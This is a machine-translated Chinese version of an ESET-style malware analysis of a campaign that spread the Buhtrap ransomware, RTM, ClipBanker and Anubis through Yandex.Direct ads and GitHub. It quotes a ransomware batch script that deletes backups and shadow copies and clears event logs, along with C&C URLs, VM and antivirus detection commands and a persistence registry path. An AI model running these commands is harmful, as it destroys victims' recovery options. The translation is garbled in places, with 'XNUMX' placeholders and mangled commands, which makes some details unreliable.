後門和 Buhtrap 加密器使用 Yandex.Direct 進行分發

要針對網路攻擊中的會計師,您可以使用他們在線上搜尋的工作文件。 這大致上就是一個網路組織在過去幾個月一直在做的事情,傳播已知的後門。 布特拉普 и RTM,以及用於竊取加密貨幣的加密器和軟體。 大多數目標位於俄羅斯。 該攻擊是透過在 Yandex.Direct 上投放惡意廣告來實施的。 潛在受害者被引導至一個網站,要求他們下載偽裝成文件範本的惡意檔案。 在我們發出警告後,Yandex 刪除了惡意廣告。

Buhtrap 的原始碼過去曾在網路上洩露,因此任何人都可以使用它。 我們沒有有關 RTM 代碼可用性的資訊。

在這篇文章中,我們將告訴您攻擊者如何使用 Yandex.Direct 分發惡意軟體並將其託管在 GitHub 上。 這篇文章將以對該惡意軟體的技術分析作為結束。

後門和 Buhtrap 加密器使用 Yandex.Direct 進行分發

Buhtrap 和 RTM 恢復營業

傳播機制和受害者

傳遞給受害者的各種有效負載共享共同的傳播機制。 攻擊者創建的所有惡意檔案都被放置在兩個不同的 GitHub 儲存庫中。

通常,該儲存庫包含一個可下載的惡意文件,該文件經常更改。 由於 GitHub 允許您查看儲存庫的變更歷史記錄,因此我們可以看到在特定時期內分發了哪些惡意軟體。 為了說服受害者下載惡意文件,使用了網站 Blanki-shabloni24[.]ru,如上圖所示。

網站的設計和所有惡意檔案的名稱都遵循一個概念 - 表單、範本、合約、樣本等。考慮到 Buhtrap 和 RTM 軟體過去已被用於針對會計師的攻擊,我們假設新戰役中的策略是相同的。 唯一的問題是受害者如何到達攻擊者的網站。

感染

至少有幾個最終訪問該網站的潛在受害者是被惡意廣告吸引的。 下面是一個範例 URL:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

正如您從連結中看到的,該橫幅發佈在合法的會計論壇 bb.f2[.]kz 上。 值得注意的是,這些橫幅出現在不同的網站上,都具有相同的活動 ID (blanki_rsya),並且大多數與會計或法律援助服務相關。 該 URL 顯示潛在受害者使用了「下載發票表格」請求,這支持了我們有針對性的攻擊的假設。 以下是出現橫幅的網站以及相應的搜尋查詢。

  • 下載發票表格 – bb.f2[.]kz
  • 合約樣本 - Ipopen[.]ru
  • 應用程式投訴樣本 - 77metrov[.]ru
  • 協議表格 - Blank-dogovor-kupli-prodazhi[.]ru
  • 法庭請願書範本 - zen.yandex[.]ru
  • 投訴樣本 - yurday[.]ru
  • 範本合約表格 – Regforum[.]ru
  • 合約形式 – assisticus[.]ru
  • 公寓協議樣本 –napravah[.]com
  • 法律合約樣本 - avito[.]ru

Blanki-shabloni24[.]ru 網站可能已配置為透過簡單的視覺評估。 通常情況下,指向具有 GitHub 連結的專業網站的廣告看起來並不是什麼明顯的壞事。 此外,攻擊者僅在有限的時間內(可能是在活動期間)將惡意檔案上傳到儲存庫。 大多數時候,GitHub 儲存庫包含空的 zip 檔案或空白的 EXE 檔案。 因此,攻擊者可以透過 Yandex.Direct 在回應特定搜尋查詢的會計師最有可能造訪的網站上分發廣告。

接下來我們來看看這樣分佈的各種payload。

有效載荷分析

發行年表

該惡意活動於 2018 年 XNUMX 月底開始,在撰寫本文時仍處於活動狀態。 由於整個儲存庫在 GitHub 上公開可用,因此我們編制了六種不同惡意軟體家族分佈的準確時間表(見下圖)。 我們新增了一行,顯示橫幅連結的發現時間(透過 ESET 遙測測量),以便與 git 歷史記錄進行比較。 正如您所看到的,這與 GitHub 上有效負載的可用性密切相關。 XNUMX 月底的差異可以解釋為我們沒有部分更改歷史記錄,因為在我們獲得完整的更改歷史記錄之前,儲存庫已從 GitHub 中刪除。

後門和 Buhtrap 加密器使用 Yandex.Direct 進行分發
圖 1. 惡意軟體分佈的時間順序。

代碼簽署證書

該活動使用了多個證書。 有些是由多個惡意軟體家族簽署的,這進一步表明不同的樣本屬於同一活動。 儘管私鑰可用,但操作員沒有系統地簽署二進位文件,也沒有對所有樣本使用該金鑰。 2019 年 XNUMX 月下旬,攻擊者開始使用 Google 擁有的憑證建立無效簽名,但他們沒有私鑰。

下表列出了該活動涉及的所有證書及其簽名的惡意軟體系列。

後門和 Buhtrap 加密器使用 Yandex.Direct 進行分發

我們也使用這些程式碼簽署憑證來建立與其他惡意軟體系列的連結。 對於大多數證書,我們沒有找到不是透過 GitHub 儲存庫分發的範例。 然而,TOV「MARIYA」憑證被用來簽署屬於殭屍網路的惡意軟體 沃科斯、廣告軟體和礦工。 該惡意軟體不太可能與此活動相關。 該證書很可能是在暗網上購買的。

Win32/Filecoder.Buhtrap

第一個引起我們注意的元件是新發現的 Win32/Filecoder.Buhtrap。 這是有時會打包的 Delphi 二進位。 主要分佈於2019年XNUMX月至XNUMX月。 它的行為類似於勒索軟體程式 - 它搜尋本機磁碟機和網路資料夾並加密偵測到的檔案。 它不需要網路連線就可以被破壞,因為它不會聯繫伺服器來發送加密金鑰。 相反,它在勒索訊息的末尾添加了一個“令牌”,並建議使用電子郵件或 Bitmessage 聯繫運營商。

為了加密盡可能多的敏感資源,Filecoder.Buhtrap 運行一個線程,旨在關閉關鍵軟體,這些軟體可能打開了包含可能幹擾加密的有價值資訊的文件處理程序。 目標程序主要是資料庫管理系統(DBMS)。 此外,Filecoder.Buhtrap 會刪除日誌檔案和備份,使資料復原變得困難。 為此,請執行下面的批次腳本。

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

Filecoder.Buhtrap 使用合法的線上 IP 記錄器服務,旨在收集網站訪客的資訊。 這是為了追蹤勒索軟體的受害者,這是命令列的責任:

mshta.exe "javascript:document.write('');"

如果檔案與三個排除清單不匹配,則選擇要加密的檔案。 首先,具有以下副檔名的檔案未加密:.com、.cmd、.cpl、.dll、.exe、.hta、.lnk、.msc、.msi、.msp、.pif、.scr、.sys 和。蝙蝠。 其次,完整路徑包含以下清單中的目錄字串的所有檔案都被排除。

.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel

第三,某些檔案名稱也被排除在加密之外,其中包括勒索訊息的檔案名稱。 該列表如下所示。 顯然,所有這些例外都是為了保持機器運行,但適航性極低。

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

文件加密方案

執行後,惡意軟體會產生 512 位元 RSA 金鑰對。 然後使用硬編碼的 2048 位元公鑰(公共指數和模數)對私有指數 (d) 和模數 (n) 進行加密、zlib 打包和 Base64 編碼。 負責此操作的程式碼如圖 2 所示。

後門和 Buhtrap 加密器使用 Yandex.Direct 進行分發
圖 2. 512 位元 RSA 金鑰對產生過程的 Hex-Rays 反編譯結果。

下面是帶有生成私鑰的純文字範例,私鑰是附加到勒索訊息的令牌。

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

下面給出了攻擊者的公鑰。

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

這些檔案使用 AES-128-CBC 和 256 位元金鑰進行加密。 對於每個加密文件,都會產生一個新金鑰和一個新初始化向量。 密鑰資訊被加入到加密文件的末尾。 讓我們考慮一下加密檔案的格式。
加密檔案具有以下標頭:

後門和 Buhtrap 加密器使用 Yandex.Direct 進行分發

新增了 VEGA magic 值的來源檔案資料被加密到前 0x5000 位元組。 所有解密資訊都附加到具有以下結構的檔案中:

後門和 Buhtrap 加密器使用 Yandex.Direct 進行分發

- 檔案大小標記包含指示檔案大小是否大於 0x5000 位元組的標記
— AES key blob = ZlibCompress(RSAEncrypt(AES key + IV, 產生的 RSA 金鑰對的公鑰))
- RSA 金鑰 blob = ZlibCompress(RSAEncrypt(產生的 RSA 私鑰,硬編碼的 RSA 公鑰))

Win32/ClipBanker

Win32/ClipBanker 是一個從 2018 年 4 月下旬到 XNUMX 月初間歇性分發的元件。 它的作用是監視剪貼簿的內容,它會尋找加密貨幣錢包的位址。 確定目標錢包地址後,ClipBanker 將其替換為據信屬於運營商的地址。 我們檢查的樣本既沒有裝箱也沒有混淆。 用於掩蓋行為的唯一機制是字串加密。 運營商錢包位址使用 RCXNUMX 加密。 目標加密貨幣是比特幣、比特幣現金、狗狗幣、以太幣和瑞波幣。

在惡意軟體傳播到攻擊者的比特幣錢包期間,有少量資金被發送到 VTS,這讓人懷疑活動是否成功。 此外,沒有證據表明這些交易與 ClipBanker 有關。

Win32/RTM

Win32/RTM 組件於 2019 年 2017 月初分發了幾天。 RTM是用Delphi寫的銀行木馬,針對遠距銀行系統。 XNUMX 年,ESET 研究人員發表了 詳細分析 對於這個程序,描述仍然相關。 2019 年 XNUMX 月,Palo Alto Networks 也發布了 關於 RTM 的部落格文章.

布特拉普裝載機

一段時間以來,GitHub 上提供了一個與以前的 Buhtrap 工具不同的下載器。 他轉向 https://94.100.18[.]67/RSS.php?<some_id> 取得下一個階段並將其直接載入記憶體。 我們可以區分第二階段程式碼的兩種行為。 在第一個URL中,RSS.php直接通過了Buhtrap後門-這個後門與原始碼洩漏後可用的後門非常相似。

有趣的是,我們看到多個帶有 Buhtrap 後門的活動,據稱它們是由不同的運營商運行的。 在這種情況下,主要的區別在於後門是直接載入到記憶體中的,並沒有使用我們討論的DLL部署過程中通常的方案 。 此外,營運商還更改了用於加密 C&C 伺服器網路流量的 RC4 金鑰。 在我們見過的大多數活動中,運營商都懶得去更改這個密鑰。

第二個更複雜的行為是將 RSS.php URL 傳遞到另一個載入器。 它實現了一些混淆,例如重建動態導入表。 Bootloader的目的是聯絡C&C伺服器 微星officeupd[.]com/api/F27F84EDA4D13B15/2,發送日誌並等待回應。 它將回應作為 blob 進行處理,將其載入到記憶體中並執行。 我們看到執行此加載程序的有效負載與 Buhtrap 後門相同,但可能還有其他組件。

Android/間諜銀行家

有趣的是,在 GitHub 儲存庫中也發現了適用於 Android 的元件。 他只在主分支待了一天——1 年 2018 月 XNUMX 日。 除了在 GitHub 上發布之外,ESET 遙測沒有發現該惡意軟體正在分發的證據。

該元件作為 Android 應用程式套件 (APK) 託管。 它非常混亂。 惡意行為隱藏在 APK 中的加密 JAR 中。 它使用以下密鑰透過 RC4 進行加密:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

使用相同的金鑰和演算法來加密字串。 JAR 位於 APK_ROOT + image/files。 檔案的前 4 個位元組包含加密 JAR 的長度,該長度會緊接著長度欄位之後開始。

解密該檔案後,我們發現它是阿努比斯 - 以前 有記錄的 Android 版銀行家。 該惡意軟體具有以下特點:

  • 麥克風錄音
  • 截圖
  • 取得 GPS 座標
  • 鍵盤記錄器
  • 設備資料加密和勒索要求
  • 垃圾郵件

有趣的是,銀行家使用 Twitter 作為備用通訊管道來獲取另一台 C&C 伺服器。 我們分析的樣本使用了@JonesTrader 帳戶,但在分析時該帳戶已被阻止。

銀行家包含 Android 裝置上的目標應用程式清單。 它比 Sophos 研究中獲得的清單更長。 該清單包括許多銀行應用程式、亞馬遜和 eBay 等線上購物程式以及加密貨幣服務。

MSIL/ClipBanker.IH

作為該活動一部分分發的最後一個元件是 .NET Windows 可執行文件,於 2019 年 1.0.0 月出現。 研究的大多數版本都是用 ConfuserEx vXNUMX 打包的。 與 ClipBanker 一樣,該元件也使用剪貼簿。 他的目標是廣泛的加密貨幣以及 Steam 上的優惠。 此外,他還使用 IP Logger 服務竊取比特幣 WIF 私鑰。

保護機制
除了 ConfuserEx 在防止調試、轉儲和篡改方面提供的優勢之外,該元件還包括檢測防毒產品和虛擬機器的能力。

為了驗證它是否在虛擬機器中運行,惡意軟體使用內建的Windows WMI命令列(WMIC)來請求BIOS訊息,即:

wmic bios

然後程式解析指令輸出並找出關鍵字:VBOX、VirtualBox、XEN、qemu、bochs、VM。

為了偵測防毒產品,惡意軟體會使用下列命令向 Windows 安全中心傳送 Windows Management Instrumentation (WMI) 要求: ManagementObjectSearcher API如下圖。 從 Base64 解碼後,呼叫如下所示:

ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')

後門和 Buhtrap 加密器使用 Yandex.Direct 進行分發
圖 3. 辨​​識防毒產品的流程。

此外,該惡意軟體還會檢查是否 加密剪輯觀察者,一種防止剪貼簿攻擊的工具,如果運行,則會掛起該進程中的所有線程,從而停用保護。

堅持

我們研究的惡意軟體版本將自身複製到 %APPDATA%googleupdater.exe 並為 google 目錄設定「隱藏」屬性。 然後她改變了價值 SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell 在 Windows 登錄中並新增路徑 updater.exe。 這樣,惡意軟體就會在使用者每次登入時執行。

惡意行為

與 ClipBanker 一樣,該惡意軟體會監視剪貼簿的內容並查找加密貨幣錢包位址,找到後將其替換為營運商的位址之一。 下面是基於程式碼中找到的目標位址的清單。

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

對於每種類型的位址都有一個對應的正規表示式。 STEAM_URL值用於攻擊Steam系統,從緩衝區定義的正規表示式可以看出:

b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b

滲漏通道

除了替換緩衝區中的地址之外,該惡意軟體還針對比特幣、比特幣核心和 Electrum 比特幣錢包的 WIF 私鑰。 該程式使用plogger.org作為滲透管道來獲取WIF私鑰。 為此,運營商將私鑰資料新增至 User-Agent HTTP 標頭中,如下所示。

後門和 Buhtrap 加密器使用 Yandex.Direct 進行分發
圖 4.具有輸出資料的 IP 記錄器控制台。

運營商沒有使用 iplogger.org 來竊取錢包。 由於該字段的 255 個字元限制,他們可能採用了不同的方法 User-Agent顯示在 IP 記錄器 Web 介面中。 在我們研究的範例中,另一個輸出伺服器儲存在環境變數中 DiscordWebHook。 令人驚訝的是,這個環境變數沒有在程式碼中的任何地方分配。 這表示該惡意軟體仍在開發中,並且該變數已指派給操作員的測試機。

還有另一個跡象表明該計劃正在開發中。 這個二進位檔案包含兩個 iplogger.org URL,資料外洩時都會查詢這兩個 URL。 在對這些 URL 之一的請求中,Referer 欄位中的值前面帶有「DEV /」。 我們還發現了一個未使用 ConfuserEx 打包的版本,該 URL 的接收者名為 DevFeedbackUrl。 根據環境變數名稱,我們認為營運商計劃使用合法服務Discord及其網路攔截系統來竊取加密貨幣錢包。

結論

該活動是在網路攻擊中使用合法廣告服務的一個例子。 該計劃針對的是俄羅斯組織,但如果看到此類攻擊使用非俄羅斯服務,我們不會感到驚訝。 為了避免洩露,用戶必須對他們下載的軟體來源的聲譽充滿信心。

妥協指標和 MITRE ATT&CK 屬性的完整清單可在 鏈接.

來源: www.habr.com

添加評論